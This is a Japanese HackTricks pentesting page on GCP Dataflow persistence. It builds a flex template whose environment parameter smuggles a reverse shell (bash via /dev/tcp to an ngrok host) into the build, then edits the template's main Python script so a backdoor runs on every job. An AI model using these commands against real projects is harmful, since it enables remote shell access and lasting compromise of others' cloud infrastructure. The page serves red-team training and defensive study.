GCP - Dataflow 永続化

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Dataflow

ビルド済みコンテナ内の不可視の永続化

ドキュメントのtutorial from the documentationに従うと、新しい(例: python)flex template を作成できます:

backdoor を組み込んだ Dataflow flex template の作成 ```bash git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git cd python-docs-samples/dataflow/flex-templates/getting_started

Create repository where dockerfiles and code is going to be stored

export REPOSITORY=flex-example-python gcloud storage buckets create gs://$REPOSITORY

Create artifact storage

export NAME_ARTIFACT=flex-example-python gcloud artifacts repositories create $NAME_ARTIFACT
–repository-format=docker
–location=us-central1 gcloud auth configure-docker us-central1-docker.pkg.dev

Create template

export NAME_TEMPLATE=flex-template gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json
–image-gcr-path “us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest”
–sdk-language “PYTHON”
–flex-template-base-image “PYTHON3”
–metadata-file “metadata.json”
–py-path “.”
–env “FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py”
–env “FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt”
–env “PYTHONWARNINGS=all:0:antigravity.x:0:0”
–env “/bin/bash -c ‘bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1’ & #%s”
–region=us-central1

</details>

**ビルド中に reverse shell を取得します** (前の例と同様に env variables を悪用したり、Docker file に任意のコマンドを実行させるパラメータを使ったりできます)。この時点で reverse shell の中から、**`/template` ディレクトリに移動して、実行されるメインの python スクリプト(この例では `getting_started.py`)のコードを修正することができます**。ここに backdoor を仕込んでおけば、ジョブが実行されるたびにそれが実行されます。

次回ジョブが実行されると、改ざんされたコンテナが実行されます:

<details>

<summary>Run Dataflow template</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする